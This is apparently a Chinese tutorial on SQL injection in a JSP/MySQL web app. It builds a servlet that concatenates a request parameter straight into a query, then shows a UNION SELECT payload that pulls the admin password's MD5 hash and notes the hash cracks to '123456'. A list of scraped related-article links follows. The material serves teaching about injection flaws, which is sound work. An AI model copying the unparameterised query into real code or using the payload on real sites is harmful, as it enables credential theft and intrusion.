jsp mysql 注入攻击实例
例子 要查询信息 并显示出来
SQL 信息表与admin表 插入信息 md5 加密的密码
CREATE TABLE `admin` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `Name` varchar(40) NOT NULL, `Psw` varchar(100) NOT NULL, PRIMARY KEY (`Id`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;CREATE TABLE `info` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `Info` varchar(40) NOT NULL, PRIMARY KEY (`Id`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;insert into info(`Info`) values('SQLinject');
insert into admin(`Name`,`Psw`) values('admin','E10ADC3949BA59ABBE56E057F20F883E');
开始页---点击传参 --查询信息
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%><!DOCTYPE HTML>
<html><head><base href="<%=basePath%>"><title>SQL注入测试</title></head><body><% String info="SQLinject"; %><a href="Info?info=<%=info%>"> 查询info的信息 </a></body>
</html>
查询servlet
package servlet;import javax.servlet.http.HttpServlet;import java.io.IOException;import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;import dal.infodal;
import java.sql.*;public class info extends HttpServlet{String ms="";@Overrideprotected void service(HttpServletRequest req, HttpServletResponse res)throws ServletException, IOException {//取得表单数据String info="";if(req.getParameter("info")!=""&&req.getParameter("info").length()<100){ info=new String(req.getParameter("info").getBytes("ISO-8859-1"),"UTF-8");}else{ms+="info不正确"; }ResultSet rs=infodal.serchinfo(info);ms="信息查询成功";req.setAttribute("rs", rs);req.setAttribute("ms", ms);RequestDispatcher rd=req.getRequestDispatcher("inforesult.jsp");rd.forward(req,res);}}
查询DAL
package dal;
import java.sql.*;import constant.dbconstant;public class infodal {public static ResultSet serchinfo(String info){String driverClass=dbconstant.getDriverclass();String url=dbconstant.getUrl();String dbUser = dbconstant.getDbuser(); String dbPwd = dbconstant.getDbpwd(); try{ Class.forName(driverClass); Connection con = DriverManager.getConnection(url,dbUser,dbPwd);Statement stmt=con.createStatement(); // String sql="select id,Info from info where Info='"+info+"'";ResultSet rs=stmt.executeQuery(sql); return rs;}catch(Exception ex){ System.out.print("连接失败!!<br>"+ex.toString()); return null;} }}
显示查询信息
<%@ page language="java"
import="java.util.*"
import="java.sql.*"
import="constant.dbconstant"
pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%><!DOCTYPE HTML>
<html><head><base href="<%=basePath%>"><title>SQL注入测试</title></head><body><%ResultSet rs=(ResultSet)request.getAttribute("rs");while(rs.next())
{%><p> 查询的信息为: <%=rs.getInt("Id") %> </p> <br><p> 查询的信息为: <%=rs.getString("Info") %> </p> <br>
<p> 查询的信息为: <%=rs.getNString(2) %> </p> <br><%}%><%
String msg="";
msg=(String)request.getAttribute("ms");
if(msg==null){
msg="";
}else{
request.removeAttribute("ms");
}%><%=msg %><script type="text/javascript">
window.οnlοad=function(){
if("<%=msg%>"!="")
{alert("<%=msg%>");
//self.location="inforesult.jsp";}
}</script> </body>
</html>
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app><servlet><servlet-name>Info</servlet-name><servlet-class>servlet.info</servlet-class></servlet><servlet-mapping><servlet-name>Info</servlet-name><url-pattern>/Info</url-pattern></servlet-mapping></web-app>
以上为很常见的jsp过程 参数info 没有过滤 也没有参数化查询
注入语句
SQLinject' union select 2,Psw from admin where Name='admin
2 为常数 因为要对齐info 个数为2 int stirng
查询语句为
select Id,Info from Info where Info='SQLinject' union select 2,Psw from admin where Name='admin';
查询出来的信息为
info 的 Id Info 1 'SQLinject'
2 Psw 2 'E10ADC3949BA59ABBE56E057F20F883E'
E10ADC3949BA59ABBE56E057F20F883E 为md5密码 在线查询 123456
jsp mysql 注入攻击实例相关推荐
- jsp mysql 注入_由Jsp+Mysql注入到root权限的全程展 【好久没有安全类文章了,转一篇看看】...
由Jsp+Mysql注入到root权限的全程展 最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整. 很多人可能都知道asp,php的编程要防止 ...
- sql注入攻击实例mysql_MySQL 处理SQL注入攻击
MySQL 处理SQL注入攻击 如果您通过网页获取用户输入并将其插入到一个MySQL数据库中,则有可能让您对称为SQL注入的安全问题敞开大门.本课将教您如何帮助防止这种情况发生,并帮助您保护脚本和M ...
- mySql 注入攻击
注入攻击 1.原理: a.只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入; b.字符串拼接和没有判断用户输入是否合法------>导致用户可以玩填字游戏-----> ...
- mysql注入攻击实_三十三、MySQL基础系列笔记之MySQL安全问题与SQL注入攻击
SQL注入攻击大多数与程序有关系,程序不严谨是导致SQL注入攻击成功的一个原因.安全问题不容忽视,平常的开发中应关注安全问题.下面简单记录PHP中的SQL攻击问题. 什么是SQL注入攻击 SQL注入( ...
- kali使用mysql注入攻击_基于kali实现的一些攻击
本文如果出现什么错误,或者有什么建议欢迎随时联系我,谢谢! 1.局域网断网攻击-----ARP攻击(使用kali下的arpspoof工具,为了方便,受害主机为本人主机) (1)Windows下查询本机 ...
- mysql注入攻击与防御word_SQL注入防御与绕过的几种姿势
媒介 本文┞仿重要今后端PHP和MySQL数据库为例,参考了多篇文┞仿后的集合性文┞仿,迎接大年夜家提出小我看法,互促成长. https://zhuanlan.zhihu.com/p/26263513 ...
- sql注入攻击实例mysql_SQL 注入攻击案例
一.检测注入点 二.判断是否存在 SQL 注入可能 三.数据库爆破 四.字段爆破 五.数据库表爆破 六.用户名.密码爆破 七.总结 一.检测注入点 首先,在 http://120.203.13.75: ...
- web安全学习-sql注入-针对mysql的攻击
文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...
- mysql注入模糊_sql模糊查询,以及sql注入问题
mysql 模糊查询 与 sql注入 一.根据姓名模糊查询员工信息 方式一 select id, emp_name as empName, sex,email,birthday,address fro ...
最新文章
- 这家卡车自动驾驶公司图谋借壳上市,Waymo和Cruise的故事讲不下去了?
- 记录两段经典标定代码
- python入门要多久-初学者如何快速上手python入门要多久
- Socket编程基本流程实践
- html5 测试用例,Web 测试通用测试用例
- ActiveMQ群集,持久订阅者和虚拟主题可助您一臂之力
- Linux 代码格式化工具 indent
- Javaweb MVC设计模式、Modle发展史、项目分层和三层架构
- ROS笔记(22) Gmapping
- Only a type can be imported解决方法
- Android仿人人客户端(v5.7.1)——通过HTTPS协议的POST方式获取用户的基本信息
- React常用的命令解析
- 20200719每日一句
- 三原色是红黄蓝对吗_三原色是哪几种颜色?是红黄蓝,还是红绿蓝
- python中的反三角函数_用公式计算反三角函数
- github 镜像站
- Ansible的脚本(playbook剧本)
- Mask R-CNN 训练自己的数据集—踩坑与填坑
- 李炎恢bootstrap做轮播器的方法与思路
- 面向对象三大特性与C语言
热门文章
- C语言经典例35-字符串反转
- 【Groovy】Groovy 脚本调用 ( Java 类中调用 Groovy 脚本 )
- 【C 语言】数组 ( 指针数组用法 | 自我结束能力 )
- 【Android 逆向】修改 Android 系统文件 ( Android 逆向中需要经常修改的文件和目录 | 在 root 后的设备中获取 / 目录的 rw 权限后注意事项 )
- 【EventBus】发布-订阅模式 ( EventBus 组成模块 | 观察者模式 )
- 【字符串】最长回文子串 ( 动态规划算法 ) ★
- 【Android 进程保活】应用进程拉活 ( JobScheduler 拉活 | JobScheduler 使用流程 | JobService 服务 | 不同版本兼容 | 源码资源 )
- php 二维数组排序详解: array_multisort
- webpack简单配置
- Codeforces 372 B. Counting Rectangles is Fun